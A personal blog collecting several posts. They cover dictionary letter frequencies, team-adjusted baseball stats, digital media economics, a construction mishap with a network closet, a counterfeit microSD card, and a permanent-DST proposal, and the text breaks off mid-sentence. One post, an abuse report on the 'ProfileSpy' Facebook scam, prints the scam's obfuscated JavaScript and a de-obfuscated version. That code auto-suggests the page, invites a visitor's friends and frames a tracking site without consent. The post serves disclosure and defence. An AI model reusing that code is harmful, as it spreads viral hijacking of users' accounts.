Adam Katz Musings

Letter frequencies in English

2011-09-15T21:00:01-05:00

Scrabble and other word games presumably have a lot of statistical research invested into their game balance. It may be because I'm an avid word-game player as well as a spam filter expert, but I see lots of connections between these. I often write regular expressions designed to avoid hitting words; in order to do this, I need to know a lot about words. Happily, word games and etymology are hobbies of mine. (Really, this is just something I wanted to dump out somewhere. It also serves as an example of some of the oddball research I end up doing for work.) % grep -io '[a-z]' /usr/share/dict/american-english-huge |sort -f |uniq -ic |sort -fn 5642 q 7393 j 9176 x 17304 z 28352 w 33694 v 35926 k 39651 f 58571 y 66983 b 86325 g 91215 h 95543 p 102348 m 108844 d 109829 u 135437 c 188985 l 217510 t 228818 o 238637 n 242727 r 290339 a 294658 i 373659 e 375451 s Scores in Scrabble: 1. A E I L N O R S T U 2. D G 3. B C M P 4. F H V W Y 5. K 8. J X 10. Q Z Poor J and U are severely undervalued (especially J, which has only one two-letter word versus X's { ax ex xi ox xu }. Then again, Scrabble (and most other variable point-per-letter based word games, especially Quiddler) were screwed with the addition of words like ki, qi, and za in the 2006 Tournament Word List (TWL, equivalent to the "Official Scrabble Dictionary" plus an expurgated word list plus a 10+ letter word list). All the more reason to start playing Bannanagrams or Snatch. Oh, and if you were wondering: % grep -io '[a-z]' twl06.txt |sort -f |uniq -ic |sort -fn 2584 q 2674 j 4761 x 7601 z 12418 w 14451 k 15429 v 20030 f 25870 y 30124 b 36764 h 43537 g 44855 m 46600 p 52109 u 54873 d 64170 c 84619 l 103497 o 104045 t 106772 n 112468 r 120954 a 140312 i 150216 s 182743 e % grep -io '[a-z]' american-english-insane |sort -f |uniq -ic |sort -fn 9504 q 11568 j 16399 x 27439 z 41651 w 54956 k 56113 v 63404 f 108209 y 110283 b 136581 g 162195 h 177668 p 178372 m 183030 d 205887 u 242096 c 319046 l 371253 t 409644 r 411306 o 422267 n 511532 i 516212 a 577371 s 627887 e % grep -o '\w' all |sort -f |uniq -ic |sort -fn # ("all" is an aggregate of unique words in all of my dictionaries, including the above plus British English plus several other languages) 6 à 68 4 69 6 69 7 71 8 76 2 80 3 84 5 95 9 112 1 142 0 547 º 574 â 602 ú 671 ô 1114 ª 1756 é 1846 õ 2110 ó 2483 ê 2573 ß 2659 ö 6570 ü 7869 ä 9298 ç 14723 í 30191 q 30464 j 32044 x 33895 á 81665 w 113556 y 130479 k 134248 z 169354 ã 183534 v 216522 f 284604 b 359978 p 378656 h 379785 g 477097 d 505116 m 508603 u 581310 c 675355 l 890453 o 978139 t 1087000 n 1260395 i 1269619 r 1354226 s 1389940 a 1965893 e % wc -l american-english-huge american-english american-english-insane all 390945 american-english-huge 98569 american-english 638645 american-english-insane 1532299 all Spreadsheet (with pretty graphs!) and formatting of this post are (maybe) pending.

Baseball Stats adjusted for team vs team: OBP

2011-08-01T22:03:47-05:00

Here's a pretty graphic for you: a team-by-team comparison of batting as adjusted to the opponent's pitching, updated just after the trade deadline passed yesterday. Unlike individual batter-v-pitcher numbers, these metrics are statistically significant. While this isn't completely unheard of (Marco Scutaro was listed last night as having something along the lines of a .345 career batting average against the White Sox), it is rare. I chose On-Base Percentage (OBP) as the stat to compare. Read on for my heat-based chart comparing each team's average OBP to each other team's pitching staff's opposing On-Base Percentage (oOBP). It clearly shows just how dominant the Red Sox are in batting (red row), while the Phillies' dominance comes from their pitching (blue column). To sum up how to read this chart: Find your team's row and column. A red row means really strong batting (the Red Sox are on fire!) while a blue row denotes weak bats (those poor Mariners). A blue column means really strong pitching (the Phillies will stop you cold) and therefore a red column means other teams take yours to town (Baltimore just doesn't attract baseball money). Each cell refers to the column title's expected On-Base Percentage against the opponents by column, so the Phillies could hope to no-hit the Mariners (.266 aOBP@PHI) while the Red Sox (.384 aOBP@CHC) could beat up on the Cubs. Teams are listed in descending order of team OBP. This takes the team average OBP of a batting team (left-most column) and assumes this is how they will perform against the League Average oOBP (.320). The grayed "vLgAvg" column is therefore the batting team's OBP. Take the batting team's OBP and multiply it by the ratio of the pitching team's oOBP to the league average oOBP (which is, by definition, equal to the league average OBP). A team's OBP is the same as their aOBP@LgAvg. For the Red Sox (BOS) batting against the Phillies (PHI), this would be: .355 OBP(BOS) × .295 oOBP(PHI) ÷ .320 oOBP(LgAvg) = .327 aOBP I made this chart in order to figure out why the Phillies were winning without bats. The idea is simple: Bill James (father of Sabermetrics) posited that good batting will tend to win over good pitching. At some point, there is a leveling metric. In an attempt to find it, I adjusted each team's batting by opposing teams' pitching. Philadelphia is 25 points better than the league average oOBP. This yields a ratio (only 92.2% of the average team's opponents let on base would do as well against the Phillies), which I can then use to adjust the batting team's own OBP, thus 92.2% of Boston's .355 is their .327 aOBP@PHI. This results in a very cold column for Philadelphia, showing just how hard they are to score against (the Red Sox are the only team to have an aOBP@PHI greater than the MLB average OBP). You can also see that the Seattle Mariners are also really good defensively. Their problem is that their batting is the worst in the league ... in every category (see how cold their row is?). If I had more time, I'd see if I can cut that league average up a bit more accurately. MLB's average is meaningless given how few interleague games are played. Perhaps if I calculated each division's average and then averaged it with the league average, a more representative figure would result. However, I can't help but think that this would make Boston look even stronger, as the AL oOBP is higher due to a lack of pitchers having to bat. Raw data: Adjusted-OBP.xls

The new media paradigm

2011-03-17T23:52:55-05:00

I have seen the future and I like it. Big-box record and video stores are things of the past. The wireless cloud is the future. Most content (music, movies, games) will come from hobbyists operating on shoestring budgets but will be impeccably organized and easily searched, though we'll be primarily guided by friends' referrals. Oddly enough, it was "stealing" that got us here and it is "stealing" that will drive us to the finish line. Put more eloquently, it's the ability to collaborate and share without limits which pushes technology in both development and use, for both creating and experiencing all of this content. Tower Records died in 2006. Blockbuster followed four years later. Apple iTunes, an online-only store, now rules music sales, with heat coming from internet radio providers like Grooveshark, Last.fm, and Pandora. Netflix and Redbox dominate movies, with Netflix and iTunes now beginning to roll out streaming video services to compete with Hulu. Heck, even the White House is now focused on copyright enforcement for streaming media. The branding of "piracy" is getting out of hand (yet it still lacks the "criminal acts of violence, detention, rape, or depredation" that define pirates ), balanced somewhat gracefully by groups like the Pirate Party that reclaim the term. Popular culture has painted pirates as free-spirited adventurers, the heroes of movies like Pirates of the Caribbean , mainstay of games like Puzzle Pirates . Children's love for pirates has even warranted altering poison labels to use Mr. Yuk , a green smiley depicting disgust, in place of the traditional skull and crossbones . The decreasing cost of new movies and albums has outpaced inflation, yet there are serious calls to further cut prices to combat file-sharing . The heart of this issue is that we now have so much media that its value is reduced. It is so easy to obtain that we consume songs, videos, and games in volumes that wouldn't be affordable at even a penny apiece. This is the "information age" and the only way for things to work is to have most of that information be freely available and redistributable. The cost of this transition is almost entirely placed upon the big record labels and movie houses, and they don't like it. Media distributors see their content in the wild without directly correlated profit and they fear for their industry, screaming bloody murder over this thing that must be "theft" and branding it "piracy" so as to demonize it whenever possible. They turn to technology for protection (using tools like proprietary standards and DRM ), laws for enforcement (especially the DMCA and ACTA ), and bullying scare tactics for compliance (like suing students , little girls , the hospital-bound , and hundreds more —at a time). The cost of the media distribution business must be reduced to something lean and fast. Ads can provide much of the compensation (television and radio did quite well in their day, we can build on that) while the rest has to come from somewhere else. Cut down on corporate overhead, red tape, label fees, endorsements, and costly promotions. Add value in the form of memorabilia (booklets, featurettes, posters, shirts, stickers, concert tickets, raffles where allowed by law, perhaps a fancier box). Lower markup and make up the difference in volume. Fans will have to choose which products they want to actually pay for rather than rely upon their subscriptions or file-sharing networks to obtain. This should be natural. We've seen name-your-price sales succeed pretty well in the experiments run so far, including music albums In Rainbows and Ghosts (among others ) and games like the World of Goo and its companions in the two Humble Indie Bundles (with supporting stats ). While it's still pretty early to say that this paradigm will work as the standard fare, I think it is fair to conclude that given any piece of content, some people will consider it worth money while others will consider it worth enjoying if free. As they say, "more data needed." This old paradigm is nearing its end. Record studios and movie distributors will soon either perish or else adopt new practices that embrace new models (iTunes is a start) and we'll see a revolution of new content, hopefully with limited encumbrances from laws that limit remix (20min TED Talk; see also 5min overview or perhaps a 1min remix exemplar song ). The bridge comes in two distinct steps. Easier access to physical media — cheaper media, used media, and trivialized rentals is currently ruling the industry. Streaming media is just beginning to gain momentum as a replacement to personal collections rather than merely a sequel to radio and television services. If Redbox wants its DVD rental vending machines to survive, they'll have to strike a deal with their suppliers that allows them to burn media on demand; kiosks would have the most common titles ready at any given time, but anybody who wants something else can order it online or in person and then pick it up (it takes under five minutes to burn a dual-layer DVD these days). Burn and brand the disk, print the sleeve, wrap, drop for user. A standing deposit will cover the credit for an account (no return indicates forfeiture of the deposit in exchange for the "purchase"), allowing for customers who can't hold credit (and therefore have difficulty buying things online). The introduction of better tools for content creation and editing has birthed remix and a whole slew of new categories like home movies recorded on cheap cameras and even phones, text-to-video tools like Xtranormal , game-rendered movies like WoW -based World of Workcraft and Halo-based Red vs. Blue . Anime Music Videos like Rammstein/Neon Genesis Evangelion show the potential of clip shows, another form of remix. Things will really kick into high gear when easy-to-use tools like the upcoming 4chan-spinoff Canv.as begin to support video. The future looks bright, and with the proper nurture, it will be. The problem is that this marks more than just a change in the media delivery paradigm — it's also a radical change to the media creation process. We'll still see big-budget productions, but the norm will shift to individuals who may only be good for one or two hits. We're already on the way; there are hundreds of web television series out there despite the limited capabilities of the current generation of aggregators (the best of which are Miro and YouTube). It's perhaps easier to see this in the form of music, which is a little farther along; Pomplamoose is a band of two that has found massive success self-promoting on YouTube and selling on iTunes. Remix includes the above exemplar and Dude you have no Quran . The print industries aren't immune from this wave either; Amanda Hocking , a previously unpublished author, makes a killing self-publishing eBooks. I see an end to more than just the movie and music distribution industries; the telephone companies are next. Not long ago, cable companies started offering land-line phones and phone companies started offering television. Both entered the realm of internet service, forming the so-called triple play . Many of these companies also branched into mobile phones. Enter 4G , the newest generation of cellular wireless standards. 4G requires all data to use internet protocols, thus IP telephony, better known as Voice over IP (VoIP). It also requires a high level of bandwidth; the original standard called for a minimum of 15mbps, which is about five times today's average wired broadband speed. Mobile phones are also increasingly bundled with video options like watching live sporting events and even television. On 4G, this is IP TV. With the analog television standard newly obsoleted, we're still getting used to digital TV (though one could argue that telco-provided television service is now so prevalent that DTV is a moot point). Very soon, phone tethering systems will be on the rise as an increasing number of people cancel their entire triple-play packages. Hulu and file-sharing sites will be the early winners in IP TV while Miro, iTunes, and others scramble in at the last minute. I have seen the future and I like it.

What Network Closet?

2010-06-01T19:19:33-05:00

It all started a few months ago. Our building decided to put a restaurant in downstairs. From my conversations with the head chef (who doubles as the building super), it's going to be a nice restaurant with some fantastic lunch options and a full bar. The problem is that it's being constructed on quite the budget, which means little is done outside of the work day. My office is directly above the construction. Over the last few months, I've had to deal with dying equipment, racket and vibrations at my feet, the moving of my doorway, and oh, the network closet... When you make major upgrades to a building, the grandfathering for various safety codes disappears. This meant some major work on the rest of the building before the restaurant can be started. The second largest impact that had on my company's space was in the sprinkler system that had to be installed. This was the source of many a headache, especially for the systems department I run, as we had to constantly be aware of everything they were doing, especially in the server room with respect to debris from moved ceiling tiles, sprinkler tests, and just the fact that we had to chaperon the pipe workers and make sure they didn't bump anything. As the restaurant was to be below our space, this became the staging area for all of the work. We endured two or so months of hearing them cut the pipes for the system and smelling the oil used to lubricate the saw (it smelled much like the exhaust from an idling car parked too close to an air intake vent). However, the largest impact was to my office: My officemate and I were evicted from our office for a week while they moved the door from one side of a wall in our office to the other. This allowed them to block the end of our corridor (they cut a new hole in another wall to connect the fire escape path so that they could remove the fire door at the end of our hallway, then they shortened it beyond my office's door) to facilitate a new fume vent for the restaurant (which we fully expect to leak and fill my office with the smell of frying food). The patched doorway is uninsulated and features an open drop to the ground floor on its other side, which allows me to hear conversations and construction all day long. The original network closet. The area allotted for the restaurant used to include a large lobby with access to a network closet and adjacent fire stairwell in addition to the repurposed office space. Before the construction, the network closet was a locked closet containing a patch panel for each office in the building and a rack for network switches and T1 gateway (the building and my company each have dedicated lines and another tenant used to have their own as well). One day, when there just happened to be no IT hands (nor the COO, our primary contact with the building management), the closet was reconsolidated into a new space. With no after-hour work, this meant a few hours of down-time for everybody in the complex. I'm told my CEO sat for hours just glaring at the engineer tasked with moving the equipment. This operation left the closet's contents stacked atop a wooden shelf next to the patch panels and punch blocks which had been moved as well, but the process did result in every cord being labeled copiously. Stack of network equipment on a wooden shelf. Due to other issues (probably a mix of heat, dust, and inconsistent power), we've been losing a lot of power supplies on servers and switches in the past year. The stack as pictured was before we lost another switch and then pair of switches to that factor, so by late May, it sported another three switches. (Due to the precarious mess of equipment, it was easier to leave dead equipment in the pile than to remove it.) For the first few days, there was a power strip taped together and dangling from the building's gateway. We have company-wide meetings every Wednesday at noon. On Wednesday May 26, shortly after dialing the conference channel at noon, we lost our phone. A latecomer to the meeting also noted that the network was down. I sent Morgan to take a look at the network … uh, shelf … while I continued to investigate the wiring in the conference room. He saw quite the scene. Well, nothing is shattered on the floor… When Morgan got down to the restaurant area, it was completely empty. The entire shelf's contents were dangling from their cords about four feet from the floor. By the time we got more people downstairs, a few construction workers had returned. They afforded us ladders and let us move things around while I called the building owners. The rest of the day saw things mostly back up and running with most of it in a precarious stack of equipment atop a ladder. A few hours' work, drastically reduced by the labels from the last move, saw most of my company's equipment move into its intended destination in a curiously-hung rack suspended above a door to the fire stairwell. During this process, worker after worker came in and resumed their tasks; nobody wanted blame for what had been done, so they all quickly found other things to do after realizing what had happened. The accident came from either somebody snagging the cables with some piping as they walked by or work being done on the other side of the wall (which was cut open while we were there so as to expose some pipes). Disconnect, lift, untangle, resist rampage. After hours, we moved the rest of the equipment to the rack. You can see the nice and tidy cords in the pictures leading to the items on top while the building and other tenants' wiring is draped across the punch blocks; I ordered extra cables the previous week in anticipation of this move. In fact, I had sweated through the previous day in shoes rather than sandals so that this could be taken care of then, but the rack wasn't ready and I didn't have the time (the building workers got the rack ready directly following the incident). The final piece, which still wasn't ready for the move, is power; our UPS battery is zip-tied to the rack while the building's power strip dangles from its side. The protected outlet is still on the other side of the wooden shelf (note the extension cord in the picture) and there's nowhere to rest our non-rack-mount UPS. The current arrangement. Miraculously, the only lost equipment came in the form of some cables. Even our about-to-die phone exchange server (a no-name commercial Linux VoIP system) survived without issues, though I think its RJ21 connector (a.k.a. 50-pin telco connector or Amphenol connector) may be a bit more fragile now. Needless to say, everybody in the company is eagerly looking forward to a move to better facilities. Some more than others...

ProfileSpy is a scam

2010-05-22T16:49:50-05:00

An open letter to Facebook and Blogspot: I am writing about a Facebook page (app?) called "See WhoHas Viewed You" which brands itself as ProfileSpy ("see who views your facebook profile"). The page begins by requesting users click "Like" on the page, after which further instructions follow. The javascript code offered for the service is incredibly obfuscated (I break it down below). Assuming you install it anyway, all visitors to your Facebook profile will automatically do (with no knowledge or consent) all of these items: Suggest the ProfileSpy page, invite all(?) of their friends to use it, and then load the http://profilespy.blogspot.com website in a frame. This site (purposefully not linked here!) includes all of the user-tracking code. It appears to also visit some other pages and submit forms on them so as to be more profitable and potentially collect more of your information. Updated 2010-05-31 . Skip to update . To: abuse@facebook.com, abuse@blogspot.com Cc: info@epic.org, information@eff.org Hello Facebook and (Google) BlogSpot abuse teams. And privacy experts at EFF and EPIC . I am writing about a Facebook page (app?) called " See WhoHas Viewed You " ("ProfileSpy / see who views your facebook profile"). BlogSpot hosts the ProfileSpy site, including all user-tracking and automatic advertisment-traversing aspects. This appears to be in violation of several basic privacy standards. It also looks pretty viral. I have attached a hand-de-obfuscated version of the code it requests users install. Even to get as far as needing the code, you are required to tell FaceBook that you "like" the page (which is either itself prohibited or at least should be). Once installed, visitors to your page will then run this code without their knowledge or consent. This entails: Telling FaceBook that the visitor suggests the page. Inviting all(?) of the visitor's Facebook friends to the page. Loading http://profilespy.blogspot.com in an iframe. The blogspot page appears to be a user-tracking auto-ad-following page (certainly not a blog). The viral propagation and self-promotion performed by the page must have already allowed it to gather an enormous database of user information. Unless I have missed something, both should be shut down immediately. EFF/EPIC: Please add this to the list of problems suffered on Facebook for its failure to deal with this issue; ProfileSpy has been an issue in the past . Here's the code break-down (Note, original code was a single line. I have broken it up and created whitespace where it did not previously exist): javascript:var_0xba64=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x36\x31\x36\x3 5\x35\x34\x39\x35\x32\x36\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D \x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\ x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\ x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\ x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\ x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\ x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x32\x31\x34\x39\x33\ x30\x35\x37\x38\x38\x31\x38\x31\x34\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\ x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\ x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\ x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\ x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74 ","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x 45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E \x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x 65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x6 6\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72 \x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70 \x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x 72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x70\x72\x 6F\x66\x69\x6C\x65\x73\x70\x79\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x 6F\x6D\x2F\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x 38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x 78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x 63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61 \x6D\x65\x3E"];var variables=[_0xba64[0],_0xba64[1],_0xba64[2],_0xba64[3],_0xba64[4],_0xba64[5] ,_0xba64[6],_0xba64[7],_0xba64[8],_0xba64[9],_0xba64[10],_0xba64[11],_0xba64 [12],_0xba64[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void(document[variables[2]](variables[1])[variables[0]]=_0xba64[14]); This constructs an array of strings "_0xba64" where each string is assembled through basee64 character codes. It then creates a new array "variables" and assigns all of the first array's elements to it (essentially, it's a copy). The final elemnent is not copied. The actual value of each of those strings is listed below. The fully de-obfuscated code follows it. I'd call this more of a virus than a helpful tool for users. First, it forces all of your visitors to suggest the application to all of their friends. After that, it appears to force your visitors to invite their friends to the application as well. Finally, it phones home by loading the ProfileSpy site in a frame. This site appears to have a bunch of self-submitting ads whichshould be quite profitable to the ProfileSpy developers. It also has a ton of user-tracking elements, some of which get passed onto the user as a 'service.' variables=[ "InnerHTML", // 0 "app6165549526_body", // 1 "getElementById", // 2 '' + 'Suggest to Friends', // 3 "suggest", // 4 "MouseEvents", // 5 "createEvent", // 6 "click", // 7 "initEvent", // 8 "dispatchEvent", // 9 "select_all", // 10 "sgm_invite_form", // 11 "/ajax/social_graph/invite_dialog.php", // 12 "submitDialog", // 13 '' // 14 (not copied to variables[]) ]; Here is the full de-obfuscated code (alternatively, download profilespy.js ): // Locate the element with the ID "app6165549526_body" and set its HTML content // (overwrite) with the following: void (document.getElementById("app6165549526_body").innerHTML = 'Suggest to Friends<'+'/a>'); // assign variable "ss" to the "Suggest to Friends" link added above var ss=document.getElementById("suggest"); // Create a mouse event var c=document.createEvent("MouseEvents"); c.initEvent("click",true,true); // dispatch it to (CLICK) the "suggest" link. void ss.dispatchEvent(c); // the code "fs.select_all()" will run itself in four seconds // ... I don't know what "fs" is. This might select the entire facebook page, // though I suspect it actually selects all options on a form. It probably // opts the user into something that requires user input, which is quite unfair. void setTimeout(function (){fs.select_all(); } ,4000); // wait five seconds and then submit whatever the Social Graph Manager (sgm) is, // which almost certainly uses the selected items from fs.select_all(). // I'd guess this now invites all of each visitor's friends to the app. void setTimeout(function (){ SocialGraphManager.submitDialog( "sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); } ,5000); // Now that we've clicked "Suggest to Friends," we can re-use that space. // Replace that same element's contents with the code for a frame inside which // is the real payload; the profilespy website, which appears chock-full of // user tracking, self-submitting advertising, and other problems. void (document.getElementById("app6165549526_body").innerHTML = ''; Update 2010-05-31: Performing due diligence is apparently hard these days. That's a change from the last time I went about this sort of thing. Abuse emails aren't as useful as they used to be. abuse@facebook.com automatically replies "the email address you are using to reach us is no longer available" and suggests I use the Help Center (which makes me wonder how a non-member can register an abuse issue...). abuse@blogspot.com bounced (with a retry timeout, indicating that they've misconfigured the address to infinitely delay mail!), and abuse@google.com was completely unhelpful (I was referred by an auto-responder to web-based abuse systems at mail.google.com, which is clearly the wrong venue). Even the advocacy groups were problematic, though not for giving me the run-around; EPIC rejected the message due to its .js attachment, and the EFF has not yet responded. Time for another round.

Chinese Forgeries are on the rise

2010-04-30T19:14:41-05:00

Two weeks ago, I jumped on eBay to get a microSD card for my phone. I found a ridiculously cheap brand-name 16GB card … from China … and decided to risk the purchase (final price: $17.66, free shipping). It arrived today. The box it came in was made of a flimsy cardboard not much stronger than paper and included a piece of flimsy plastic shell around the card and its SD adapter. After some quick jumping around Google Images (including searches limited to .tw , .hk , and, of course, .cn sites), I concluded that it didn't look like the legitimate product. If it didn't look or feel like the real thing, it was time to ask a professional. I can quite happily report that SanDisk's customer support site makes it very easy to navigate and create a ticket. I was able to explain the issue and attach some photos (of the package front , back , and the card itself ), then fire it off. Just five hours later, I got a brief but to-the-point response from Kenneth K. Thank you for contacting SanDisk RMA support. We have received and reviewed your emailed photos and as per the photos your Micro SD card is not a legitimate SanDisk product. For further queries you can give us a call at 1-866-726-3475 and choose option 6 for RMA department. Well nuts. While I saw that coming, I was perhaps hoping they'd be interested in examining the forgery and maybe giving me a legitimate card in return (unlikely, but it doesn't hurt to ask). No dice there, and I'm not sure what the RMA department might do aside from either take or return the counterfeit product (since they didn't make it, why would they support it?) … for that matter, I'm not sure why that paragraph found its way into the email. Maybe it's part of a template? Given the criminal aspect of this issue, I'm not going to go to the seller, especially since eBay now claims that this auction item "has been removed, or this item is not available" and then asks me to verify the number (which as pasted) and advised that auctions are not available after 90 days (this auction ended 11 days ago). There was a startling presentation at this year's MIT Spam Conference by Robert Bruen of KnujOn showing his research in buying online meds, which sometimes resulted in no shipment, other times yielded a placebo, but more often gave something pretty close to the real thing; a knock-off. These forgers are in it for the money, and happy customers will return for more). This is the same game. Sure, it's hazardous to my phone's health rather than my own, but it's another indication that forgeries are making big money in nations that don't crack down on the concept. It was my trained eye and skeptical nature that considered the possibility of a forgery here. Most people would likely have been happy customers, unaware that they had a knock-off product. If one out of ten or so stop working (or are DOA ) and five of ten people might complain about it, that spells a pretty profitable formula, especially if the seller just replaces the broken part with another one. $21 (the seller-paid shipping was ¥19, which is USD$2.78 at the moment) is half the cost of the genuine product, so to make a profit, they've got to cut a LOT of corners. The cheaper their costs, the easier it is to handle loss; sending a replacement card for the 5% of their customers that complain is probably not something that would hurt their bottom line, but nobody wants to buy a product with a 10% failure rate, so they forge a reputable brand instead. I've even heard cases of products getting full support from the companies they pretend to be from, and it even makes sense — an unwitting customer sent it in, so their reputation is on the line; it's often preferable to fix or replace a forged product than lose a customer. Unfortunately, this helps the forgers. When this is all said and done, I'll see about donating the card to some fraud-fighting organization (assuming I still have it). Or perhaps I'll keep it so I can have a show-and-tell item almost as cool as Robert Bruen's forged meds. Next step: eBay Support. Ticket submitted, waiting. If that doesn't lead anywhere, I get to play with PayPal, and if that goes south, on to American Express. Another potential avenue is SanDisk's RMA since they've actually been quite friendly, but I'd rather consume resources from parties actually involved in the transaction than from the other victim. Update May 2 : In researching support claims at eBay, I noticed that the auction was no longer reflected anywhere on their site. When eBay responded to my support inquiry with instructions for how to launch a complaint, they admitted the seller had already been removed from eBay (which is why the item was no longer in the system) but suggested launching an official complaint anyway. Sure enough, the item did exist in the complaint support system, so I created a ticket. From what I've read, forgeries are quite common, so I wasn't at all surprised that it was one of the four or five options to check in the complaint section for items not as described by the auction. I submitted the form and waited for a response. We let the seller know the item wasn't as described. And the seller offered you a full refund for the purchase price plus original shipping if you return the item. Refund information: Once the item is delivered to the seller, a full refund of $17.66 will be issued through the same payment method you used to pay for the item. The refund will include the purchase price plus original shipping. The whole "forgery" part seems to have been completely disregarded, despite their having a whole category devoted to it. Worse, eBay is working with the seller despite the blatant criminal activity and has requested on the seller's behalf for me to break a federal law and send the item back to the seller —at my own expense— so that I can get a refund and the seller can pawn the forgery off on another victim. Sorry, that's not okay. I saw in some related reports online (like this account of forged purses ) that PayPal will resolve the issue by asking for me to ship the counterfeit card to their own offices (presumably for some forensics work); still arguably illegal, but at least there would be a good excuse. If eBay refuses to play ball, I'll have to petition PayPal (an eBay subsidiary...) and follow that path. Hopefully they'll let me scratch the word "fake" into the card or something as I'd hate for the thing to find another victim. Update 2 : eBay eventually got back to me and paid me directly or the card on their own dime. I still have the card and have yet to test it (who knows what it would do to my electronics, or if it even holds the full 16G , or if it would safely store my data without my needing to worry about failure begetting data loss).

Permanent Daylight Saving Time for New England

2010-03-12T20:26:46-05:00

It's annoying living on the Eastern edge of the US Eastern time zone. During the winter, the sun sets before 5:00pm. It's also annoying —and dangerous— to endure the phase-shift of Daylight Saving Time (DST). Here's a simple proposal, with economic, safety, political, and practical reasons behind it: Move New England to permanent Daylight Saving Time (UTC -0400, the Atlantic time zone). Moving to the Atlantic time zone would put New England in good company with neighboring Canada's New Brunswick (which borders Maine), Nova Scotia, and Prince Edward Island during the winter. During the summer, the region would be synced up with New York and the rest of the east coast. Year-round, the time would be the same as in Puerto Rico (which, like much of the Caribbean, is in the Atlantic time zone and does not observe Daylight Saving Time ). There is even precedent; the Dominican Republic, Venezuela, and Chile are all Atlantic Time despite sitting west of the line. Of course, each state is dependent on its northeastern neighbors' participation, starting with Maine and ending with Connecticut. Connecticut (and, to a lesser extent, Vermont) could be optional participants if they decide to keep pace with New York. If Connecticut isn't on board, Massachusetts could be cut between Springfield and Worcester, though I don't think cutting states makes anything simpler, and driving across the MA/CT line between Springfield and Hartford won't be the end of the world if it crosses a time zone, just as it wouldn't really hurt southern Connecticut residents headed to New York City. The economic advantage: Having the earliest time in the country has direct economic advantages; consider Newfoundland, whose custom time zone is UTC -0330, the earliest in the whole super-continent. When Harry Potter and the Half-Blood Prince came out, Americans and Canadians flocked to Newfoundland to have their copy before anybody else. The same happened for Halo 2. Similarly, midnight premiers of movies happen earlier in more eastern time zones. This gives an edge to New England at the expense of New York City, which is almost dead-center in the Eastern time zone (by strict latitude lines). With the closer time to Europe, more business will come to the region as there is more overlap in the work day and a easier adjustment for traveler jet-lag. (The US even established year-round DST, called "War Time," between 1942-1945 to be more aligned with Europe during the second world war.) Several studies have reported that extensions of DST would benefit the retail and sports industries though at the expense of television and movie industries. The agriculture industry objects DST for its adjustments to the clock which are far harder on farmers than others, so it would theoretically support perpetuating DST and abolishing DST equally. Safety: Driving in the dark is more dangerous than driving during daylight hours. When the sun sets before 5:00p, most daily drivers find themselves driving home in the dark. If it were an hour ahead, Boston's 4:11p sunset (twilight time: 4:43p) on December 7 2010 would move to 5:11p (twilight at 5:43p), ensuring sunlight for the commute home year-round. For the morning commute, the earliest sunrise is just after DST deactivates on Monday 2010/11/8 is currently set for 6:25a. Moving this to 7:25a might be annoying to some, but given the standard sub-30 minute commute, that's still plenty of time for people who start work at 8:00a to drive with full sunlight. Studies have concluded the increased daylight from DST reduces traffic fatalities by up to 4%. This goes beyond just driving, as joggers and others on foot would have better visibility and street crimes would have to wait until later to be done in the shadows. Even if this creates more darkness in the morning, it's worth considering since crime is more common in the evening than in the early morning. A 2009 Michigan State University study examining workplace injuries related to DST [PDF] concluded "that schedule changes, such as those involved in switches to and from Daylight Saving Time, place employees in clear and present danger." Suicides and heart attacks are also correlated with clock shifts. Perhaps the reduction of traffic accidents would be larger if there weren't a transition period. Political advantage: voting would take place an hour earlier, and therefore pools would close and results would be in an hour earlier. New Hampshire already has a pretty good deal when it comes to primaries, and the east coast also often drives the 